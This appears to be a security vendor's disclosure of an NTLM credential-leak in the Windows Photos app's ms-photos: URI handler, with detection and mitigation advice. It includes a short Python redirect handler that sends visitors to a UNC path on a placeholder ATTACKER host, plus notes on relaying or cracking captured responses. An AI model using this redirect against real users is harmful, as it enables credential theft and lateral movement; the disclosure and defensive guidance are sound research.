Executive Summary
As part of ongoing research into the protocol handlers Windows registers by default, we found a credential-leakage issue in the Microsoft Photos application, which ships with every copy of Windows. A single click on a link is enough to make the application authenticate to a server chosen by the attacker, leaking the signed-in user’s NTLMv2-SSP response.
The Photos app registers the ms-photos: URI scheme, documented by Microsoft, whose viewer action takes a fileName parameter. That parameter accepts a UNC path. A web page can therefore redirect a visitor to a ms-photos: URI pointing at a remote share, and Windows will resolve the host, connect over SMB and authenticate before anything is displayed. No file is downloaded, no macro runs, and no security prompt describes what happened.
NTLM relay is a well understood path to privilege escalation, lateral movement and remote code execution, and this is a new way to start it. A captured response can be replayed in real time against any service that does not enforce signing, or carried away and attacked offline, where there is no lockout and nothing to alert anyone. Both outcomes get worse when the account behind the click is a privileged one. The reach is also wider than a phishing link, because the UNC path can point at a host on the public internet: the same redirect works from a compromised third party script or an injected advertisement. And what Microsoft shipped is an extra prompt rather than a fix, which leaves the behavior in place for anyone who clicks through it.
Introduction
Credential theft rarely looks like credential theft. It looks like a page that did not load, an application that opened and closed, a moment of confusion that nobody reports.
Windows ships with a long list of applications that register their own URI schemes, and every one of them can be reached from a web page. That surface has been productive before. In 2022, SySS published a writeup on abusing Microsoft Office protocol handlers, and that research is what sent me through the rest of the handlers Microsoft documents.
The Photos application was one of them. What follows is how its scheme is meant to work, what NTLM does when it is handed a path it should not trust, and what the two of them produce together.
What are URI schemes and NTLM?
URI Schemes
A URI scheme is the part of a link before the colon. Browsers handle https: themselves. They do not handle ms-photos:.
When a page contains a link using one of these schemes, the browser does not handle it. It hands the link to Windows, which looks up the registered application and launches it with whatever the link carried as arguments. Microsoft documents the schemes its own applications expose, which is where this one came from.
This is ordinary behaviour, and most of it is useful. It is also a boundary between a remote web page and a local application, and a boundary is worth exactly as much as the checks on what crosses it.
NTLM and UNC paths
NTLM, short for New Technology LAN Manager, is Microsoft’s family of authentication protocols. It confirms who a user is through a challenge and response exchange: the server sends a challenge, and the client answers with a value derived from the password, which never crosses the network itself.
NTLMv2 holds up against precomputed attacks such as rainbow tables, and a captured response cannot simply be replayed as a pass-the-hash. It is still worth stealing. It can be brute forced offline, where there is no lockout and no time limit. It can also be relayed, forwarded to another service that accepts it, letting an attacker act as that user without ever learning the password. Where the account carries elevated privileges, that becomes privilege escalation and lateral movement across the network.
Some paths point at a file on another machine rather than your own. These are called UNC paths. Windows goes and fetches such a file without asking whether that machine deserves trust, and it proves who you are on the way. The path is therefore not only a path. It is an instruction to show your credentials to whoever is listening.
The vulnerability
Microsoft documents the ms-photos: scheme itself, including the viewer action and its fileName parameter, which is meant to name a picture to display.

A web page that redirects a visitor to a ms-photos:viewer URI pointing at a remote share will make Windows reach that host and authenticate to it. The user sees the Photos app open and fail to find an image. The host on the other end sees their NTLMv2-SSP response.
The redirect itself is unremarkable, which is the point.
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\ATTACKER\\share\\Capture.png')
self.end_headers()The redirection can be immediately observed.

One detail is worth knowing. If a real picture sits on the share, the Photos app opens and displays it, and nothing about the moment looks wrong. If there is none, the app opens and closes without explanation. The authentication happens either way.
Two properties take this past a laboratory curiosity.
It reaches the public internet. Unless outbound SMB is filtered, the path does not have to point anywhere inside the network. Any host the attacker owns will do.
It can be delivered by a page the victim already trusts. A link does not have to arrive by email. A compromised third party script, an injected advertisement, or a watering hole on a site the target opens every morning does the same work, which puts this closer to a supply chain problem than to phishing.
The full picture, both sides at once. On the left, what the victim sees: a click, and an application that opens. On the right, what the attacker sees: a listener recording that user’s NTLMv2-SSP response.
Detection and mitigation
There is no patch to apply, so the controls below are the whole answer. The first one does most of the work.
- Block outbound TCP 445 at the network boundary. A workstation inside a company has no reason to authenticate to an SMB server on the public internet, and this single control removes the external version entirely.
- Alert on outbound SMB from endpoints. Workstations talk to file servers you can name. An attempt to reach anything else deserves a look, and the rule is cheap to write.
- Enforce SMB signing. Signing does not prevent the capture, but it removes the relay, which is the fast half of the impact.
- Audit the URI scheme handlers on your standard image, and note which of them accept a path anywhere in their arguments. The Photos app is one instance of a pattern, not the pattern itself.
Conclusion
A link in a web page hands a location to an application that ships with Windows, and that application reaches for it with the user’s credentials attached. Every step is a feature. The only unusual part is that the location belongs to someone else.
The protocol handler is what deserves attention. It accepts a destination from a source it does not control, the browser, and it carries Windows authentication into that destination without asking. Every application registered for a URI scheme sits in that position, and most of them were never designed for it. The registry of a normal workstation holds more of them than anyone has ever listed.
We reported this to Microsoft. No CVE was issued, and the answer was an additional prompt rather than a change to what the handler is allowed to reach. The capability is still there, with a click in front of it.
Knowing that a technique exists is not the same as knowing whether it works against you. Talk to a researcher and find out.